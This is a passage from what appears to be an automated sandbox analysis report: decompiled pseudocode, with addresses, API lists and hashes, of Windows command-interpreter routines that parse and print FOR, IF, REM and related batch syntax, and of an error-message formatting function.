						if( *(_t179 + 0x3c) != _t114) {
							E00879899(_t114, _a4,  *(_t179 + 0x3c), _t114);
						}
						E00879CA6(_t179, _t182, _a4);
						goto L7;
					}
					__eflags = _t76 - 0x3b;
					if(_t76 == 0x3b) {
						L13:
						E00879CA6(_t123, _t153, _a4);
						_t114 = 1;
						__eflags =  *_t179 - 0x2e;
						if( *_t179 < 0x2e) {
							goto L60;
						}
						__eflags =  *_t179 - 0x2f;
						if( *_t179 <= 0x2f) {
							_v8 = "&";
							goto L60;
						}
						__eflags =  *_t179 - 0x30;
						if( *_t179 == 0x30) {
							_v8 = L"||";
							goto L60;
						}
						__eflags =  *_t179 - 0x31;
						if( *_t179 == 0x31) {
							_v8 = L"&&";
							goto L60;
						}
						__eflags =  *_t179 - 0x32;
						if( *_t179 == 0x32) {
							_v8 = "|";
							goto L60;
						}
						__eflags =  *_t179 - 0x33;
						if( *_t179 == 0x33) {
							goto L55;
						} else {
							__eflags =  *_t179 - 0x3b;
							if( *_t179 == 0x3b) {
								E00879899(1, _a4, "@", 1);
								_v8 = " ";
							}
							goto L60;
						}
					}
					__eflags = _t76 - 0x3c;
					if(_t76 != 0x3c) {
						goto L54;
					}
					_t90 =  *0x8b8510;
					__eflags = _t90 - 0x2396;
					if(_t90 != 0x2396) {
						__eflags = _t90 - 0x2395;
						if(_t90 != 0x2395) {
							__eflags = _t90 - 0x2390;
							if(_t90 != 0x2390) {
								goto L54;
							}
							_t91 = L"REM /?";
							L53:
							E00879899(_t114, _a4, _t91, 1);
							goto L7;
						}
						_t91 = L"IF /?";
						goto L53;
					}
					_t91 = L"FOR /?";
					goto L53;
				}
				if(_t76 >= 0x34 || _t76 == 0) {
					L3:
					_push(1);
					_push( *((intOrPtr*)(_t179 + 0x38)));
					goto L4;
				} else {
					__eflags = _t76 - 0x2b;
					if(_t76 == 0x2b) {
						E00879899(1, _a4, L"FOR", 1);
						__eflags =  *0x8b3cc9;
						if( *0x8b3cc9 == 0) {
							L41:
							E00879899(1, _a4,  *((intOrPtr*)(_t179 + 0x38)) + 6, 1);
							E00879899(1, _a4, "(", 1);
							E00879899(1, _a4,  *(_t179 + 0x3c), 0);
							E00879899(1, _a4, ")", 0);
							E00879899(1, _a4,  *((intOrPtr*)(_t179 + 0x38)) + 0x2c, 1);
							_t125 =  *(_t179 + 0x40);
							goto L79;
						}
						_t103 =  *(__ecx + 0x48);
						__eflags = 1 & _t103;
						if((1 & _t103) == 0) {
							__eflags = _t103 & 0x00000002;
							if((_t103 & 0x00000002) == 0) {
								__eflags = _t103 & 0x00000008;
								if((_t103 & 0x00000008) == 0) {
									__eflags = _t103 & 0x00000004;
									if((_t103 & 0x00000004) == 0) {
										goto L41;
									}
									_push(1);
									_push(L"/R");
									L38:
									E00879899(1, _a4);
									__eflags =  *(_t179 + 0x4c);
									if( *(_t179 + 0x4c) == 0) {
										goto L41;
									}
									_push(1);
									_push( *(_t179 + 0x4c));
									goto L40;
								}
								_push(1);
								_push(L"/F");
								goto L38;
							}
							_push(1);
							_push(L"/D");
							goto L40;
						} else {
							_push(1);
							_push(L"/L");
							L40:
							E00879899(1, _a4);
							goto L41;
						}
					}
					__eflags = _t76 - 0x2c;
					if(_t76 == 0x2c) {
						E00879899(1, _a4,  *((intOrPtr*)(__ecx + 0x38)), 1);
						_t107 =  *(__ecx + 0x3c);
						_t144 = 0;
						__eflags =  *_t107 - 0x38;
						if( *_t107 == 0x38) {
							_t108 =  *((intOrPtr*)(_t107 + 0x3c));
							__eflags =  *((intOrPtr*)(_t108 + 0x40)) - 2;
							_t107 =  *(__ecx + 0x3c);
							if( *((intOrPtr*)(_t108 + 0x40)) == 2) {
								_t144 = L"/I";
							}
						} else {
							asm("sbb ecx, ecx");
							_t144 =  !( ~( *((intOrPtr*)(_t107 + 0x40)) - 2)) & L"/I";
						}
						__eflags = _t144;
						if(_t144 != 0) {
							E00879899(1, _a4, _t144, 1);
							_t107 =  *(_t179 + 0x3c);
						}
						E00879835(_t107, _t182, _a4);
						E00879835( *(_t179 + 0x40), _t182, _a4);
						__eflags =  *(_t179 + 0x48);
						if( *(_t179 + 0x48) == 0) {
							goto L7;
						} else {
							E00879899(1, _a4,  *((intOrPtr*)(_t179 + 0x44)), 1);
							_t125 =  *(_t179 + 0x48);
							goto L79;
						}
					}
					__eflags = _t76 - 0x2d;
					if(__eflags == 0) {
						goto L3;
					}
					if(__eflags <= 0) {
						goto L54;
					}
					__eflags = _t76 - 0x33;
					if(_t76 > 0x33) {
						goto L54;
					}
					goto L13;
				}
			}

0x00879835
0x00879835
0x0087983a
0x0087983b
0x0087983f
0x00879841
0x00879843
0x00879845
0x00879848
0x0087984d
0x00890ed1
0x00890ed4
0x00891036
0x0089103b
0x0089103b
0x0089103e
0x00891043
0x0087988e
0x00879896
0x00879896
0x00890eda
0x00890f32
0x00890f39
0x00890f3f
0x00890f4a
0x00890f4f
0x00890f7a
0x00890f82
0x00890f90
0x00890f95
0x00890f98
0x00000000
0x00000000
0x00890f9e
0x00890fa1
0x00000000
0x00000000
0x00000000
0x00890fa7
0x00890edc
0x00890edf
0x00890fae
0x00890fb6
0x00890fbd
0x00890fbf
0x00890fc2
0x00890fc4
0x00890fcf
0x00890fd2
0x00890fdd
0x00890fe0
0x00890feb
0x00890fee
0x00890ff9
0x00890ffc
0x00891007
0x0089100a
0x0089100c
0x0089100c
0x00890ffe
0x00890ffe
0x00890ffe
0x00890ff0
0x00890ff0
0x00890ff0
0x00890fe2
0x00890fe2
0x00890fe2
0x00890fd4
0x00890fd4
0x00890fd4
0x00890fc6
0x00890fc6
0x00890fc6
0x00890fc4
0x0089101c
0x00891021
0x00891023
0x00891024
0x00879865
0x0087986a
0x00879872
0x0087987d
0x0087987d
0x00879889
0x00000000
0x00879889
0x00890ee5
0x00890ee8
0x00890d18
0x00890d1b
0x00890d22
0x00890d23
0x00890d26
0x00000000
0x00000000
0x00890d2c
0x00890d2f
0x00890f73
0x00000000
0x00890f73
0x00890d35
0x00890d38
0x00890f6a
0x00000000
0x00890f6a
0x00890d3e
0x00890d41
0x00890f61
0x00000000
0x00890f61
0x00890d47
0x00890d4a
0x00890f58
0x00000000
0x00890f58
0x00890d50
0x00890d53
0x00000000
0x00890d59
0x00890d59
0x00890d5c
0x00890d6d
0x00890d72
0x00890d72
0x00000000
0x00890d5c
0x00890d53
0x00890eee
0x00890ef1
0x00000000
0x00000000
0x00890ef3
0x00890ef8
0x00890efd
0x00890f06
0x00890f0b
0x00890f14
0x00890f19
0x00000000
0x00000000
0x00890f1b
0x00890f20
0x00890f28
0x00000000
0x00890f28
0x00890f0d
0x00000000
0x00890f0d
0x00890eff
0x00000000
0x00890eff
0x00879856
0x00879860
0x00879860
0x00879862
0x00000000
0x00890cf2
0x00890cf2
0x00890cf5
0x00890e18
0x00890e1d
0x00890e24
0x00890e75
0x00890e82
0x00890e92
0x00890ea1
0x00890eb2
0x00890ec4
0x00890ec9
0x00000000
0x00890ec9
0x00890e26
0x00890e29
0x00890e2b
0x00890e35
0x00890e37
0x00890e41
0x00890e43
0x00890e4d
0x00890e4f
0x00000000
0x00000000
0x00890e51
0x00890e52
0x00890e57
0x00890e5c
0x00890e61
0x00890e65
0x00000000
0x00000000
0x00890e67
0x00890e68
0x00000000
0x00890e68
0x00890e45
0x00890e46
0x00000000
0x00890e46
0x00890e39
0x00890e3a
0x00000000
0x00890e2d
0x00890e2d
0x00890e2e
0x00890e6b
0x00890e70
0x00000000
0x00890e70
0x00890e2b
0x00890cfb
0x00890cfe
0x00890d8a
0x00890d8f
0x00890d92
0x00890d94
0x00890d97
0x00890dad
0x00890db0
0x00890db4
0x00890db7
0x00890db9
0x00890db9
0x00890d99
0x00890da1
0x00890da5
0x00890da5
0x00890dbe
0x00890dc0
0x00890dc9
0x00890dce
0x00890dce
0x00890dd8
0x00890de5
0x00890dea
0x00890dee
0x00000000
0x00890df4
0x00890dfd
0x00890e02
0x00000000
0x00890e02
0x00890dee
0x00890d00
0x00890d03
0x00000000
0x00000000
0x00890d09
0x00000000
0x00000000
0x00890d0f
0x00890d12
0x00000000
0x00000000
0x00000000
0x00890d12

Strings

EQU , xrefs: 00890FC6
LSS , xrefs: 00890FE2
REM /?, xrefs: 00890F1B
IF /?, xrefs: 00890F0D, 00890F27
FOR, xrefs: 00890E13
== , xrefs: 00890FAE
NEQ , xrefs: 00890FD4
LEQ , xrefs: 00890FF0
GTR , xrefs: 00890FFE
FOR /?, xrefs: 00890EFF
GEQ , xrefs: 0089100C

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: == $EQU $FOR$FOR /?$GEQ $GTR $IF /?$LEQ $LSS $NEQ $REM /?
API String ID: 0-366822981
Opcode ID: bd74389189a30fb7ccb7d0e3cd16b741514fb78902d1628f0c75f2d26f9f180c
Instruction ID: 089a4fa2b5a74bcc9128944c8d95218146a8f3d72e84d414e1d458db71ad1d07
Opcode Fuzzy Hash: bd74389189a30fb7ccb7d0e3cd16b741514fb78902d1628f0c75f2d26f9f180c
Instruction Fuzzy Hash: 89A1C370700609FFCF24AE45C48496E7B26FB853A4B28C125F549CB299CB71DE91EB93

Uniqueness

Uniqueness Score: -1.00%

Function 0087C6F4, Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 147
windowCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E0087C6F4(long __ecx, intOrPtr _a4, void* _a8) {
				signed int _v8;
				char _v40;
				short _v104;
				void* _v108;
				long _v112;
				char* _v116;
				char _v120;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t22;
				signed int _t26;
				char* _t31;
				void* _t37;
				char* _t45;
				intOrPtr _t48;
				WCHAR* _t55;
				void* _t56;
				signed int _t57;
				signed int _t59;
				long _t60;
				void* _t61;
				int _t62;
				signed int _t63;

				_t22 =  *0x89d0b4; // 0x987dc5f4
				_v8 = _t22 ^ _t63;
				_t47 = _a8;
				_t60 = __ecx;
				_v108 = _a8;
				_t62 = 0;
				_v112 = __ecx;
				if(__ecx == 0x13d || FormatMessageW(0x1a00, 0, __ecx, 0, 0x8ab980, 0x2000, 0) == 0) {
					__imp___ultoa(_t60,  &_v40, 0x10);
					_t26 = E00880638(GetACP());
					asm("sbb eax, eax");
					MultiByteToWideChar(_t62,  ~( ~_t26),  &_v40, 0xffffffff,  &_v104, 0x20);
					_v120 =  &_v104;
					_t31 = L"Application";
					if(_t60 < 0x2328) {
						_t31 = L"System";
					}
					_v116 = _t31;
					_push( &_v120);
					_push(0x2000);
					_push(0x8ab980);
					_push(_t62);
					_push(0x13d);
					_push(_t62);
					_push(0x3000);
					goto L6;
				} else {
					_t55 = 0x8ab980;
					_t48 = 0x25;
					while(1) {
						_t58 = _t48;
						_t37 = E0087D7D4(_t55, _t48);
						_t56 = _t37;
						if(_t56 == 0) {
							break;
						}
						_t55 = _t56 + 2;
						_t59 =  *_t55 & 0x0000ffff;
						if(_t59 - 0x31 > 8) {
							if(_t59 == _t48) {
								_t55 =  &(_t55[1]);
							}
						} else {
							_t62 = _t62 + 1;
						}
					}
					_t47 = _v108;
					if(_t62 > _a4) {
						_t47 = HeapAlloc(GetProcessHeap(), 0, _t62 << 2);
						if(_t47 == 0) {
							L8:
							return E00886FD0(_t34, _t47, _v8 ^ _t63, _t58, _t60, _t62);
						}
						_t57 = 0;
						if(_t62 == 0) {
							L21:
							_t62 = FormatMessageW(0x3800, 0, _t60, 0, 0x8ab980, 0x2000, _t47);
							RtlFreeHeap(GetProcessHeap(), 0, _t47);
							L7:
							_t34 = _t62;
							goto L8;
						}
						_t61 = _v108;
						_t58 = _a4;
						do {
							if(_t57 >= _t58) {
								_t45 = " ";
							} else {
								 *_t61 =  *_t61 + 4;
								_t45 =  *( *_t61 - 4);
							}
							 *(_t47 + _t57 * 4) = _t45;
							_t57 = _t57 + 1;
						} while (_t57 < _t62);
						_t60 = _v112;
						goto L21;
					}
					_push(_t47);
					_push(0x2000);
					_push(0x8ab980);
					_push(_t37);
					_push(_t60);
					_push(_t37);
					_push(0x1800);
					L6:
					_t62 = FormatMessageW();
					goto L7;
				}
			}

0x0087c6fc
0x0087c703
0x0087c707
0x0087c70c
0x0087c70e
0x0087c711
0x0087c713
0x0087c71c
0x0088af0e
0x0088af1f
0x0088af2e
0x0088af38
0x0088af41
0x0088af44
0x0088af4f
0x0088af51
0x0088af51
0x0088af56
0x0088af5c
0x0088af5d
0x0088af62
0x0088af67
0x0088af68
0x0088af6d
0x0088af6e
0x00000000
0x0087c743
0x0087c745
0x0087c74a
0x0087c74b
0x0087c74b
0x0087c74d
0x0087c752
0x0087c756
0x00000000
0x00000000
0x0087c794
0x0087c797
0x0087c7a1
0x0088ae7e
0x0088ae84
0x0088ae84
0x0087c7a7
0x0087c7a7
0x0087c7a7
0x0087c7a1
0x0087c758
0x0087c75e
0x0088aea1
0x0088aea5
0x0087c781
0x0087c791
0x0087c791
0x0088aeab
0x0088aeaf
0x0088aed5
0x0088aef3
0x0088aefc
0x0087c77f
0x0087c77f
0x00000000
0x0087c77f
0x0088aeb1
0x0088aeb4
0x0088aeb7
0x0088aeb9
0x0088aec5
0x0088aebb
0x0088aebb
0x0088aec0
0x0088aec0
0x0088aeca
0x0088aecd
0x0088aece
0x0088aed2
0x00000000
0x0088aed2
0x0087c764
0x0087c765
0x0087c76a
0x0087c76f
0x0087c770
0x0087c771
0x0087c772
0x0087c777
0x0087c77d
0x00000000
0x0087c77d

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00001A00,00000000,?,00000000,008AB980,00002000,00000000,00000000,?,00000000), ref: 0087C735

Part of subcall function 0087D7D4: wcschr.MSVCRT ref: 0087D7DA

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00001800,00000000,?,00000000,008AB980,00002000,?), ref: 0087C777
_ultoa.MSVCRT ref: 0088AF0E
GetACP.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 0088AF17
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(00000000,00000000,?,000000FF,?,00000020), ref: 0088AF38

Strings

Application, xrefs: 0088AF44
System, xrefs: 0088AF51

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: FormatMessage$ByteCharMultiWide_ultoawcschr
String ID: Application$System
API String ID: 3538039442-3455788185
Opcode ID: 28e57fcf99f0fa0f42a7496ff7ce16e76615c14c2f8f2de9fdd03b791852b9f7
Instruction ID: 67136bec1517a9ba3695966034dfa978be1c11733fed1c85a95d0c6e06405577
Opcode Fuzzy Hash: 28e57fcf99f0fa0f42a7496ff7ce16e76615c14c2f8f2de9fdd03b791852b9f7
Instruction Fuzzy Hash: A641C5716003196BEB149BA8CC89FAF7B68FB55751F104119F646EB2C1EB70DD00DB61

Uniqueness

Uniqueness Score: -1.00%

Function 008804A0, Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E008804A0(signed int __eax, void* __ebx, void* __edx, void* __edi) {
				signed int _v4;
				WCHAR* _v8;
				long* _v12;
				long _v16;
				WCHAR* _v20;
				WCHAR* _v24;
				char _v544;
				WCHAR* _v548;
				WCHAR* _v552;
				WCHAR* __esi;
				signed int _t106;
				short _t107;
				void* _t112;
				signed int _t115;
				void* _t117;
				WCHAR** _t119;
				short _t120;
				signed int _t124;
				signed short* _t125;
				WCHAR* _t129;

				_t117 = __ebx;
				_t106 = __eax;
				if( *0x8afa90 != 0x4000) {
					_t107 =  *0x8afaa0;
					__eflags = _t107 - 0x28;
					if(_t107 != 0x28) {
						__eflags = _t107 - 0x40;
						if(_t107 == 0x40) {
							goto L140;
						} else {
							goto L150;
						}
					} else {
						L140:
						_t119 = 0x50;
						_t129 = E008800B0(0x50);
						__eflags = _t129;
						if(_t129 == 0) {
							E00899287(0x50);
							__imp__longjmp(0x8ab8b8, 1);
							asm("int3");
							_t106 =  *0x50 & 0x0000ffff;
							_t124 = _t106;
							__eflags = _t106;
							if(_t106 != 0) {
								_t106 = 0;
								__eflags = 0;
								do {
									_t125 = _t119;
									_t119 = _t119 + _t129;
									__eflags =  *_t119;
								} while ( *_t119 != 0);
								_t124 =  *_t125 & 0x0000ffff;
							}
							__eflags = _t124 - 0x3a;
							if(_t124 != 0x3a) {
								 *0x89d55c = 3;
							}
							return _t106;
						} else {
							__eflags =  *0x8afaa0 - 0x28;
							if( *0x8afaa0 != 0x28) {
								 *_t129 = 0x3b;
								_t120 = 0;
							} else {
								 *_t129 = 0x33;
								do {
									_t115 = E0087F030(0x10);
									__eflags =  *0x8afaa0 - 0xa;
								} while ( *0x8afaa0 == 0xa);
								__eflags = 0;
								E0087F300(_t115, 0, 0, 0);
								_t120 = 0x33;
							}
							_t129[0x1c] = E0087DC74(_t117, _t120);
							__eflags =  *_t129 - 0x3b;
							if( *_t129 == 0x3b) {
								L147:
								return _t129;
							} else {
								_t112 = E0087F030(0x10);
								__eflags = _t112 - 0x29;
								if(_t112 != 0x29) {
									L150:
									E008982EB(0x10);
									__eflags = 0;
									return 0;
								} else {
									goto L147;
								}
							}
						}
					}
				} else {
					__imp___wcsicmp(L"FOR", 0x8afaa0);
					__esp = __esp + 8;
					__eflags = __eax;
					if(__eax == 0) {
						L152:
						_pop(__esi);
						__edi = 0;
						__imp___wcsicmp(L"FOR/?", __edi, __esi);
						_pop(__ecx);
						__ecx = 0x8afaa0;
						__eflags = __eax;
						if(__eflags == 0) {
							__eax = 0;
							__edi = 0;
							 *0x8afaa6 = __ax;
							__edi = 1;
						}
						__ecx = 0x2b;
						 *0x8afa8c = 0x1e;
						__esi = E0087E9A0(__ecx, __eflags);
						__eax = 0x2f;
						__eflags = __edi;
						if(__edi != 0) {
							 *0x8afaa0 = __ax;
							__eax = 0x3f;
							 *0x8afaa2 = __ax;
							__eax = 0;
							 *0x8afaa4 = __ax;
						} else {
							__ecx = 0;
							__eflags = 0;
							__eax = E0087F030(0);
						}
						__edx = 0x2b;
						__eax = E0087DCE1(__ebx, __edx, __edi);
						__eflags = __al;
						if(__al != 0) {
							__esi[0x1c] = __esi[0x1c] & 0x00000000;
							 *__esi = 0x3c;
						} else {
							__esi[0x24] = __esi[0x24] & 0x00000000;
							__eflags =  *0x8b3cc9;
							__eax = 0x25;
							if( *0x8b3cc9 != 0) {
								__edi = 0;
								__edi = 1;
								__eflags = 1;
								while(1) {
									__imp___wcsicmp(L"/L");
									_pop(__ecx);
									__ecx = 0x8afaa0;
									__eflags = __eax;
									if(__eax == 0) {
										goto L32;
									}
									L9:
									__imp___wcsicmp(L"/D");
									_pop(__ecx);
									__ecx = 0x8afaa0;
									__eflags = __eax;
									if(__eax == 0) {
										__esi[0x24] = __esi[0x24] | 0x00000002;
										L27:
										__ecx = 0;
										__eax = E0087F030(0);
										while(1) {
											__imp___wcsicmp(L"/L");
											_pop(__ecx);
											__ecx = 0x8afaa0;
											__eflags = __eax;
											if(__eax == 0) {
												goto L32;
											}
											goto L9;
										}
										goto L32;
									}
									__imp___wcsicmp(L"/F");
									_pop(__ecx);
									__ecx = 0x8afaa0;
									__eflags = __eax;
									if(__eax == 0) {
										__esi[0x24] = __esi[0x24] | 0x00000008;
										__ecx = 0;
										__eax = E0087F030(0);
										__ax =  *0x8afaa0;
										__ecx = 0x25;
										__eflags = __ax - __cx;
										if(__ax == __cx) {
											continue;
										} else {
											__ecx = 0x2f;
											__eflags = __ax - __cx;
											if(__ax == __cx) {
												continue;
											} else {
												__eflags = __esi[0x26];
												if(__esi[0x26] != 0) {
													__eax = E008982EB(__ecx);
												}
												__eax =  *0x8afa8c;
												__ecx = 6 +  *0x8afa8c * 2;
												__eax = E008800B0(__ecx);
												__eflags = __eax;
												if(__eax == 0) {
													goto L212;
												} else {
													__edx =  *0x8afa8c;
													__edx =  &(( *0x8afa8c)[1]);
													goto L26;
												}
											}
										}
										goto L218;
									} else {
										__imp___wcsicmp(L"/R");
										_pop(__ecx);
										__ecx = 0x8afaa0;
										__ecx = __esi[0x24];
										__eflags = __eax;
										if(__eax == 0) {
											__esi[0x24] = __ecx;
											__ecx = 0;
											__eax = E0087F030(0);
											__eflags = __esi[0x26];
											if(__esi[0x26] != 0) {
												__eax = E008982EB(__ecx);
											}
											__ax =  *0x8afaa0;
											__ecx = 0x25;
											__eflags = __ax - __cx;
											if(__ax == __cx) {
												continue;
											} else {
												__ecx = 0x2f;
												__eflags = __ax - __cx;
												if(__ax == __cx) {
													continue;
												} else {
													__eax =  *0x8afa8c;
													__ecx = 2 +  *0x8afa8c * 2;
													__eax = E008800B0(__ecx);
													__eflags = __eax;
													if(__eax == 0) {
														L212:
														__eax = E00899287(__ecx);
														__imp__longjmp(0x8ab8b8, __edi);
														goto L213;
													} else {
														__edx =  *0x8afa8c;
														__edx =  &(( *0x8afa8c)[0]);
														L26:
														__ecx = __eax;
														__esi[0x26] = __eax;
														__eax = E00881040(__eax, __edx, 0x8afaa0);
														goto L27;
													}
												}
											}
											goto L218;
										} else {
											__eflags = __ecx;
											if(__ecx != 0) {
												__eflags = __ecx - 8;
												if(__ecx != 8) {
													__eflags = __ecx - 2;
													if(__ecx != 2) {
														__eflags = __ecx - __edi;
														if(__ecx != __edi) {
															L213:
															__eflags = __ecx - 6;
															if(__ecx != 6) {
																__eflags = __ecx - 4;
																if(__ecx != 4) {
																	__eax = E008982EB(__ecx);
																}
															}
														}
													}
												}
											}
										}
									}
									__eax = 0x25;
									goto L15;
									L32:
									__esi[0x24] = __esi[0x24] | __edi;
									goto L27;
								}
							}
							L15:
							__eflags =  *0x8afaa0 - __ax;
							if( *0x8afaa0 != __ax) {
								L216:
								__eax = E008982EB(__ecx);
							} else {
								__eax =  *0x8afaa2 & 0x0000ffff;
								__eax = iswspace( *0x8afaa2 & 0x0000ffff);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax != 0) {
									goto L216;
								} else {
									__edx =  *0x8afaa2 & 0x0000ffff;
									__ecx = L"=,;";
									__esi[0x22] = __edx;
									__eax = E0087D7D4(__ecx, __edx);
									__eflags = __eax;
									if(__eax != 0) {
										goto L216;
									} else {
										__eflags =  *0x8afa8c - 3;
										if( *0x8afa8c != 3) {
											goto L216;
										}
									}
								}
							}
							__ecx = __esi[0x1c];
							__edi = 0x8afaa0;
							_push(0x8afaa0);
							_push(__ecx);
							__edx = 0x1e;
							__eax = E00879C73(__ecx, __edx);
							__ecx = L"IN";
							__eax = E00879C4D(L"IN");
							__ecx = __esi[0x1c];
							_push(0x8afaa0);
							_push(__ecx);
							__edx = 0x1e;
							__eax = E00879C73(__ecx, __edx);
							__eax = E00879936(__ebx);
							__ecx = L"DO";
							__esi[0x1e] = __eax;
							__eax = E00879C4D(L"DO");
							__ecx = __esi[0x1c];
							_push(0x8afaa0);
							__ecx = __esi[0x1c] + 0x2c;
							__edx = 8;
							__eax = E00881040(__esi[0x1c] + 0x2c, __edx);
							__ecx = 0x2b;
							__eax = E0087DC74(__ebx, __ecx);
							__esi[0x20] = __eax;
							__eflags = __eax;
							if(__eax == 0) {
								__eax = E008982EB(__ecx);
							}
						}
						_pop(__edi);
						__eax = __esi;
						_pop(__esi);
						return __esi;
					} else {
						__imp___wcsicmp(L"FOR/?", 0x8afaa0);
						__esp = __esp + 8;
						__eflags = __eax;
						if(__eax == 0) {
							goto L152;
						} else {
							__imp___wcsicmp(L"IF", 0x8afaa0);
							__esp = __esp + 8;
							__eflags = __eax;
							if(__eax == 0) {
								L148:
								_pop(__esi);
								__edi = 0;
								__imp___wcsicmp(L"IF/?", __edi, __esi, __ecx);
								_pop(__ecx);
								__ecx = 0x8afaa0;
								__eflags = __eax;
								if(__eflags == 0) {
									__eax = 0;
									__edi = 0;
									 *0x8afaa4 = __ax;
									__edi = 1;
								}
								__ecx = 0x2c;
								__esi = E0087E9A0(__ecx, __eflags);
								__eflags = __edi;
								if(__edi != 0) {
									__eax = 0x2f;
									 *0x8afaa0 = __ax;
									__eax = 0x3f;
									 *0x8afaa2 = __ax;
									__eax = 0;
									 *0x8afaa4 = __ax;
								} else {
									__ecx = 0;
									__eflags = 0;
									__eax = E0087F030(0);
								}
								__edx = 0x2c;
								__eax = E0087DCE1(__ebx, __edx, __edi);
								__eflags = __al;
								if(__al != 0) {
									__esi[0x1c] = __esi[0x1c] & 0x00000000;
									 *__esi = 0x3c;
									goto L47;
								} else {
									__edi = 0;
									__eflags =  *0x8b3cc9 - __al;
									if( *0x8b3cc9 == __al) {
										L40:
										__edx = 0;
										__ecx = 0;
										__eflags = 0;
										__eax = E0087F300(__eax, 0, 0, 0);
									} else {
										__imp___wcsicmp(L"/I");
										__ecx = 0x8afaa0;
										_pop(__ecx);
										__eflags = __eax;
										if(__eax == 0) {
											__edi = 0;
											__edi = 1;
										} else {
											goto L40;
										}
									}
									__ecx = 0;
									__eax = E0087CDA2(0);
									__esi[0x1e] = __eax;
									__eflags = __eax;
									if(__eax != 0) {
										__eflags = __edi;
										if(__edi != 0) {
											__eflags =  *__eax - 0x38;
											if( *__eax == 0x38) {
												__eax = __eax[0x1e];
											}
											__eax[0x20] = 2;
										}
									}
									__ecx = 0x2c;
									__eax = E0087DC74(__ebx, __ecx);
									__esi[0x20] = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										__eax = E008982EB(__ecx);
									}
									__eax = E0087EEC8();
									__eflags = __eax;
									if(__eax == 0) {
										L47:
										_pop(__edi);
										__eax = __esi;
										_pop(__esi);
										_pop(__ecx);
										return __esi;
									} else {
										__ecx = 0;
										__eax = E0087F030(0);
										__edi = 0x8afaa0;
										__imp___wcsicmp(L"ELSE");
										_pop(__ecx);
										__ecx = 0x8afaa0;
										__eflags = __eax;
										if(__eax == 0) {
											__eax =  *0x8afa8c;
											__ecx =  *0x8afa8c +  *0x8afa8c;
											__eax = E008800B0(__ecx);
											__eflags = __eax;
											if(__eax == 0) {
												__eax = E00899287(__ecx);
												__imp__longjmp(0x8ab8b8, 1);
												asm("int3");
												while(1) {
													L165:
													__eax = 0;
													__edx[__ecx] = __ax;
													while(1) {
														__eax = __esi[0xa];
														__esi = __eax;
														__eflags = __eax;
														if(__eax == 0) {
															break;
														}
														__ecx = __esi[2];
														__edi = __ecx;
														__edx =  &(__edi[1]);
														do {
															__ax =  *__edi;
															__edi =  &(__edi[1]);
															__eflags = __ax - __bx;
														} while (__ax != __bx);
														__edi = __edi - __edx;
														__edi = __edi >> 1;
														__eax = E008822C0(__ebx, __ecx);
														__ecx = __esi[2];
														__edx =  &(__edi[0]);
														__eax = E00881040(__esi[2], __edx, __eax);
														__eflags = __esi[4] - __ebx;
														if(__esi[4] == __ebx) {
															__edx = __esi[2];
															__ecx = __edx;
															__edi =  &(__ecx[1]);
															do {
																__ax =  *__ecx;
																__ecx =  &(__ecx[1]);
																__eflags = __ax - __bx;
															} while (__ax != __bx);
															__ecx = __ecx - __edi;
															__ecx = __ecx >> 1;
															__ecx = __ecx - 1;
															__eflags = __ecx - 1;
															if(__ecx > 1) {
																__eflags = __edx[__ecx] - 0x3a;
																if(__edx[__ecx] == 0x3a) {
																	goto L165;
																}
															}
														}
													}
													__edi = _v552;
													__esi = _v548;
													__eflags = __esi - 3;
													if(__esi == 3) {
														__eax =  *0x8b3cd4;
														_v552 = __eax;
														goto L67;
													} else {
														__ecx = 0x10;
														__eax = E008800B0(__ecx);
														_v552 = __eax;
														__eflags = __eax;
														if(__eax == 0) {
															L86:
															__ebx = 0;
															__ebx = 1;
														} else {
															__ecx =  *0x8b3cd4;
															__eax[6] =  *0x8b3cd4;
															 *0x8b3cd4 = __eax;
															__eax[4] = __edi;
															 *__eax = __esi;
															L67:
															__edi = __edi[0x1a];
															__eflags = __edi;
															if(__edi != 0) {
																__esi = __esi | 0xffffffff;
																__eflags = __esi;
																do {
																	__eflags = __edi[4] - __ebx;
																	if(__edi[4] != __ebx) {
																		goto L82;
																	} else {
																		__imp___get_osfhandle( *__edi);
																		_pop(__ecx);
																		__eflags = __eax - __esi;
																		if(__eax == __esi) {
																			L170:
																			__edi[4] = __esi;
																			goto L75;
																		} else {
																			__imp___get_osfhandle( *__edi);
																			_pop(__ecx);
																			__eflags = __eax - 0xfffffffe;
																			if(__eax == 0xfffffffe) {
																				goto L170;
																			} else {
																				__ecx =  *__edi;
																				__eax = E00880178(__eax);
																				__eflags = __eax;
																				if(__eax == 0) {
																					__ecx =  *__edi;
																					__eax = E00899953(__eax,  *__edi);
																					__eflags = __eax;
																					if(__eax != 0) {
																						goto L73;
																					} else {
																						__imp___get_osfhandle( *__edi, __ebx, __ebx, 1);
																						_pop(__ecx);
																						__eax = SetFilePointer(__eax, ??, ??, ??);
																						__eflags = __eax - __esi;
																						if(__eax != __esi) {
																							goto L73;
																						} else {
																							__esi = 0x8b3d00;
																							__eax = E0088274C(0x8b3d00, 0x104, L"%d",  *__edi);
																							_push(0x8b3d00);
																							_push(1);
																							_push(0x40002721);
																							goto L182;
																						}
																					}
																				} else {
																					L73:
																					__ecx =  *__edi;
																					__eax = E0087DBCE(__eax,  *__edi);
																					__edi[4] = __eax;
																					__eflags = __eax - __esi;
																					if(__eax == __esi) {
																						__esi = 0x8b3d00;
																						__eax = E0088274C(0x8b3d00, 0x104, L"%d",  *__edi);
